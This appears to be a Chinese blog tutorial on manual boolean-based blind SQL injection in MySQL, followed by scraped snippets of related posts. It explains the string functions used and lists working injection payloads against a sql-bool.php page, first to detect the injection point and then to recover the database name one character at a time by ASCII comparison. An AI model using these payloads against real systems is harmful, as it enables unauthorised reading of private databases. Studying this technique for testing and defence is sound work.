mysql盲注_Mysql 布尔型盲注手工注入详解
0x00 什么叫布尔型盲注
布尔型
布尔(Boolean)型是计算机里的一种数据类型,只有True(真)和False(假)两个值。一般也称为逻辑型。
盲注
在注入时页面无具体数据返回的注入称之为盲注,一般是通过其他表现形式来判断数据的具体内容
布尔型盲注
页面在执行sql语句后,只会显示两种结果,这时可通过构造逻辑表达式的sql语句来判断数据的具体内容。
是不是听的云里雾里的,没关系,继续看
0x01 Mysql语法介绍
逻辑运算
length()
函数可返回字符串的长度
select length(database());
database()函数不用说了,会返回当前数据库名称,length()函数可返回一个字符串的长度,这里带入的是database(),也就是实际返回的是test的长度
length
substring()
substring()函数可以截取字符串,可指定开始的位置和截取的长度
select substring('test',1,3);
select substring('test',2,1);
substring
ord()
ord()函数可以返回单个字符的ASCII码
select substring(database(),1,1);
select ord(substring(database(),1,1));
ord
反之,char()函数可将ASCII码转换为对应的字符
select char(116);
char
0x02 手工注入
判断注入点
这里就不能像联合查询注入一样根据页面是否报错判断了,因为sql执行失败和未查到数据都会返回False,所以只能通过返回的逻辑值来判断
/* 整型注入 */
sql-bool.php?name=user1 and 1=1
sql-bool.php?name=user1 and 1=2
/* 字符型注入 */
sql-bool.php?name=user1' and '1'='1
sql-bool.php?name=user1' and '1'='2
/* 字符型注入 */
sql-bool.php?name=user1" and "1"="1
sql-bool.php?name=user1" and "1"="2
根据payload返回的成功或失败可以判断是否存在注入点,
拿整型注入举个例子
如果带入user1返回为存在(真),那么当存在整型注入时,通过逻辑运算and(与)的关系,后面跟上1=1(恒真),那么返回值也肯定为存在(真),带入1=2(恒假)时,那么返回值也肯定为不存在(假)
通过这种方式就可以判断是否存在布尔型盲注
user1
and 1=1
and 1=2
读数据
由于盲注无法回显,所以只能通过将获取到的数据挨个字符截取,然后再通过转换为ASCII码的方式与可见字符的ASCII值一一对比
这里以读取当前数据库名为例
/* 判断库名长度 */
sql-bool.php?name=user1' and (select length(database())) = 1 and '1'='1
sql-bool.php?name=user1' and (select length(database())) = 2 and '1'='1
sql-bool.php?name=user1' and (select length(database())) = 3 and '1'='1
sql-bool.php?name=user1' and (select length(database())) = 4 and '1'='1
假
假
假
真
当length(database())=4时,返回真,也就是数据库名的长度有4位
然后我们再一位一位的判断字符内容,由于mysql库名不区分大小写,且组成元素为26位英文字母、数字和下划线,所以只需要和这些字符的ASCII值进行比较
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 97 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 98 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 99 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 100 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 101 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 102 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 103 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 104 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 105 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 106 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 107 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 108 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 109 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 110 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 111 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 112 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 113 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 114 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 115 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 116 and '1'='1
假
真
当与其他ASCII值判断时,返回均为假,与116判断是否相等时,返回为真,由此可判断数据库名第一个字符的ASCII值为116,再通过ASCII转换为字符,可得知当前数据库名第一个字符内容为't'
char
其他数据同样是用相同的办法读取内容
mysql盲注_Mysql 布尔型盲注手工注入详解相关推荐
- sqli中时间型盲注和布尔型盲注实现
布尔型注入: 等待时间较长,但容易受网络波动影响,所以无法作为绝对判断条件. ②利用length语句判断数据库长度 http://127.0.0.1/sqli/Less-8/?id=1' and le ...
- mysql二进制文件复制_MySQL 主从复制:基于二进制文件复制配置详解
##MySQL-主从复制:基于二进制文件复制详解 ###前言 主从复制是指把一个MySQL的数据库服务器作为主服务器(master),然后把master的数据复制到一个或者多个MySQL数据库服务器作 ...
- mysql 账户管理_Mysql账户管理原理与实现方法详解
本文实例讲述了Mysql账户管理原理与实现方法.分享给大家供大家参考,具体如下: 账户管理 在生产环境下操作数据库时,绝对不可以使用root账户连接,而是创建特定的账户,授予这个账户特定的操作权限,然 ...
- mysql 同步 异步_MySQL异步复制、半同步复制详解
MySQL数据复制的原理图大致如下: 从上图我们可以看出MySQL数据库的复制需要启动三个线程来实现: 其中1个在主服务器上,另两个在从服务器上.当发出START SLAVE时,从服务器创建一个I/O ...
- mysql shutdown 命令_Mysql 5.7.9 shutdown 语法实例详解
mysql-5.7.9 终于提供shutdown 语法啦: 之前如果想关闭一个mysql数据库可以通过kill 命令.mysqladmin shutdown .service mysqld stop ...
- mysql float 误差_mysql下float类型使用一些误差详解
单精度浮点数用4字节(32bit)表示浮点数 采用IEEE754标准的计算机浮点数,在内部是用二进制表示的 如:7.22用32位二进制是表示不下的. 所以就不精确了. mysql中float数据类型的 ...
- mysql decimal长度_mysql decimal类型与decimal长度用法详解
以下内容转自:http://blog.csdn.net/zhanghao143lina/article/details/53816884 三者的区别介绍 float:浮点型,含字节数为4,32bit, ...
- mysql 字符串 底层_Mysql 的索引底层原理及数据结构详解
Mysql 的索引底层原理 1.什么是索引? 索引是一种排好序的数据结构,mysql目前默认使用的是b+树. 2.为什么使用b+树? 例如表table 数据 id name 1 zs 2 ls 3 s ...
- mysql教程排序_MySQL中的排序函数field()实例详解
前言 我们在日常开发过程中,排序是经常用到的,有时候有这样的需求. 比如,需要在查询结果中根据某个字段的具体值来排序.如下面例子 上面是一张个人信息 表,假如我们想按照'seiki','iris',' ...
最新文章
- 设置默认settings文件_Django 学习笔记系列 之 settings.py 设定
- Qt5: SpringAnimation
- Func vs. Action vs. Predicate [复制]
- Java黑皮书课后题第8章:*8.1(求矩阵中各列数字的和)使用下面的方法头编写一个方法,求矩阵中特定列的所有元素的和。编写一个测试程序,读取3*4矩阵,显示每列元素的和
- 常用30种MySQL查询语句优化方法
- oracle的除,Oracle数据库如何去除别名 - daiyan0526的个人空间 - 51Testing软件测试网 51Testing软件测试网-软件测试人的精神家园...
- Windows To Ghost系统封装之必备软件集 - 好压
- ACM-ICPC 2018 沈阳赛区现场赛 K. Let the Flames Begin (约瑟夫环问题)
- 刷leetcode第五题-最长回文字符串
- python括号是中文还是英文_python括号区别
- ant design pro模板_分享10 个开源免费且优秀的后台管理系统模板
- Android WebView重定向问题的解决方案
- python教程-4.数据处理numpy-pandas
- 你所不知道的NVMe SSD固态硬盘读写速度及国货的惊喜--基于FPGA的速度测试
- 背景差法目标识别python_运动目标检测(4)—背景差分法
- 进度条程序详解(Linux)
- iOS 应用商店评分StoreReview
- 逻辑回归原理及推导过程
- 图片懒加载(仿SDWebImage)
- 从汇编角度看一个C函数调用